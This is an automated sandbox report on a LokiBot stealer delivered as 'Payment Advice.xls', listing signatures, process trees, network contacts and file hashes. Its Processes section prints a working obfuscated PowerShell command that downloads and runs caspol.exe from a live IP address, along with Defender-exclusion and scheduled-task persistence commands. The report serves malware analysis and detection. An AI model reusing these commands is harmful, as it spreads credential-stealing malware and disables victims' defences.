Malware Analysis Report

2025-04-03 09:51

Sample ID 241118-vppczawlgm
Target Payment Advice.xls
SHA256 002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195

Threat Level: Known bad

The file Payment Advice.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Process spawned unexpected child process

Lokibot family

Lokibot

Evasion via Device Credential Deployment

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Reads user/profile data of web browsers

Loads dropped DLL

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Uses Volume Shadow Copy service COM API

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

Modifies Internet Explorer settings

Checks processor information in registry

Uses Volume Shadow Copy WMI provider

Uses Task Scheduler COM API

outlook_win_path

outlook_office_path

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 17:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win7-20241010-en

Max time kernel

143s

Max time network

152s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1508 set thread context of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2676 wrote to memory of 2472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2676 wrote to memory of 2472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2676 wrote to memory of 2472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2676 wrote to memory of 2472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2472 wrote to memory of 2304 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2472 wrote to memory of 2304 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2472 wrote to memory of 2304 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2472 wrote to memory of 2304 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2472 wrote to memory of 2312 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2472 wrote to memory of 2312 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2472 wrote to memory of 2312 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2472 wrote to memory of 2312 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2312 wrote to memory of 2516 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2312 wrote to memory of 2516 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2312 wrote to memory of 2516 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2312 wrote to memory of 2516 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2472 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2472 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2472 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2472 wrote to memory of 1508 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 976 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 976 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 976 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 976 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1508 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1508 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1508 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe

"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.105:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2884-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

memory/2884-19-0x0000000001F00000-0x0000000001F02000-memory.dmp

memory/2676-18-0x0000000002040000-0x0000000002042000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 dfe9d40108cd6499968560d0319998c6
SHA1 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73
SHA256 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e
SHA512 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 e9ac274e09e6dbd13d7b0788bbd7e605
SHA1 585d3617291575424886a743fbc11544e1bbc782
SHA256 b0296e7cd8d7767a5134c7673320caaeb0922bb98cd47bea2dc5bb5bfda3eb12
SHA512 2f57d4330b7d9986a09bed6db2bb7c1841d04a6b03f711dbca3039053b02384432523e166c4b9e65188be2cf3dc366f2fc91435c4ec61762feffa0ea824f621d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 c0b7c315ca6c8b24c6e5501f2a51ea8f
SHA1 d3575154b2340406d4b0682a02aca2e01093a824
SHA256 571bcbfaffcc9a2e6f53e87902ee4405c9b94a3b67d49b830135d8f5f736fc70
SHA512 1b95c493dc4cc28e0cb2f996b0ddfaff997de0b922ab3831b89123acf69b1e5b4e70d426a3b2fa4632a21450ca252ac9652685521abd7f50fd844a593e6213f8

C:\Users\Admin\AppData\Local\Temp\Cab707F.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 fc6e1d8bbf4738957e7948c198d0698a
SHA1 309173d9bbdde1a5b6d2563995823c8be9ae8831
SHA256 c5ca8dd5daf8ab64c79ab684d479cafdfb2b52a8521a1b217a7df5058fded6c1
SHA512 f1ba75d4a28454bce9b2e94c924e0be5f21ba49640fc8f4e34380cfbc48403e9cc615487852cacacf01594815986a8e1d87959410769e71717a728cce508cd0c

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DUME8XYE\givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew[1].hta

MD5 f3e18c2fd2190a479b6fb930e6061c2e
SHA1 88efd851c900d0a32d4876b3cc8be0a50ebec363
SHA256 98afd5f972247d0d98dfad43a380dc8390a8ec52c6e6f8cdfcd0a858f2433dce
SHA512 ab0862b5ab48bbd2781ec7397861904bd412fa282ef56ef1212ce15840f3a9dd22cd043b125af83707dae39d433dd03fcb657a1d546f77b3fae6bc32725ade5e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 b4d5bcfdcfaa781e011367a297d71d1e
SHA1 12e607cbb521815f4068f085f972379841b89042
SHA256 e3be17887fb2dc387f2cf958eb4ca181dda52b15b1c5f77a05e03359c180255a
SHA512 14e3324463ce5584c2ecc04e6c36dafabf0cc5f027bdda2b4ac5ff05fbd1db27bd8133a064def833be7ea80a768e3cd2a1db97988218ecc3891e4e0581681258

\??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline

MD5 f715ce55e994619f65f33e8081275f8e
SHA1 3990266624ef23ad184376f95ef7c0a9aa34dfd7
SHA256 3385605805f2b10fd9c83410fe16441127fc0d631f905aec143cf4b2dc5f37d6
SHA512 7d469add6485908a054f8434c2d24529e741316cbc907e422de29c457bff37df633e508baa2fe0675ddccfa8ad23032188a48d2c92f39a996a0ed592c7d66818

\??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.0.cs

MD5 f8419bbc398e1a2b134eec88b333f8f6
SHA1 57ebba4cad00272da80b919df0908ec40f9be48a
SHA256 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3
SHA512 b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674

\??\c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp

MD5 0d1d3d5b251ebe284dd2f165c466f2db
SHA1 ce83e30ab4c301665feafef8bb2de80a8338cc73
SHA256 214aa301ef2aa55e0d82571266830a58d643f6b9932a0eeb3a6ae8182a3fa37d
SHA512 addfb30c2e77325a064ef78ad5471e8d21568d1fa3ff02ed557bd531d1f489c4e879fa9b38005dad3b92b17cbe11d0a1f2406265e028f2a16d1a9f7ab0995655

C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp

MD5 63442ccb8c502f637b732f5b38d3a9a3
SHA1 a8f09715b33867c12cba8134b17ad5f50be3c299
SHA256 3e130e083c1caa531f737aa5fecad1ad447eac3f46d0f6915e4e65965d4821da
SHA512 fb7de716abe1d2e9b70e7036c2845e96300783a840967d8363c1c842db19c072a7242d750be1aaba910771c148d8cabd8dd6ab29cac76272603147f6223d7fe2

C:\Users\Admin\AppData\Local\Temp\hnizr2tx.dll

MD5 bba4188c05c1ed950ec726120ac3684b
SHA1 9fad5ebf3b0d1424609a1af371666e242d3bd5a5
SHA256 00ac64733a5712e4b89ae728bee3ed1daf4f679cd656094b8d9a032b2a620986
SHA512 b28d8a671a3265bb5c09c0b2bbd8c1198b11c7ea459b484cbecab3872f3cbb0106418d4cea56c0bd08499c1be09c942456bbc43dc64e168f5ea8600ab8c2aa1b

C:\Users\Admin\AppData\Local\Temp\hnizr2tx.pdb

MD5 7e107bbc25691348448f4893a44cff88
SHA1 3be5d4792f17095fa7e5d98fd2991bb774ff2a96
SHA256 1ff88b572e2e14e0ceea64146e74e5e25be7a0e3c25aee2207c6eec1267d2bfb
SHA512 82885df494d5eef0b2181ca20f6333ddddf36d11848e33d66220fe158cf6c1b5ccf54b850581e9399c42dc22f6f7643718d296b593ebd6ae0ae8d2309591e652

memory/2884-59-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

\Users\Admin\AppData\Roaming\caspol.exe

MD5 318ff90d7a2797a041b836f7f8900f62
SHA1 fdda6afed7a1643ae353e7a635e6744c2b0a07d5
SHA256 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430
SHA512 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac

memory/1508-73-0x0000000000C90000-0x0000000000D24000-memory.dmp

memory/1508-74-0x0000000000430000-0x0000000000442000-memory.dmp

memory/1508-75-0x0000000004B40000-0x0000000004BA4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp

MD5 87b0626d2bdfe8839459d3266b1c6744
SHA1 d203b541a45ad9425593407e8ddf7b4d66f995fb
SHA256 a7af0eb9ce7abd1c5ae2d0a7a52226468872b6159c56ec4c1843db5aed15be06
SHA512 31842512266798f168e507308477511c1cfb4ee70eb446ff4b6f7acc54646019b914825e67c44881294e01d0cf00f53d5d1adfdbb7938e8752c627e2eed78e66

memory/1120-91-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-104-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-102-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-101-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1120-99-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-97-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-95-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1120-93-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
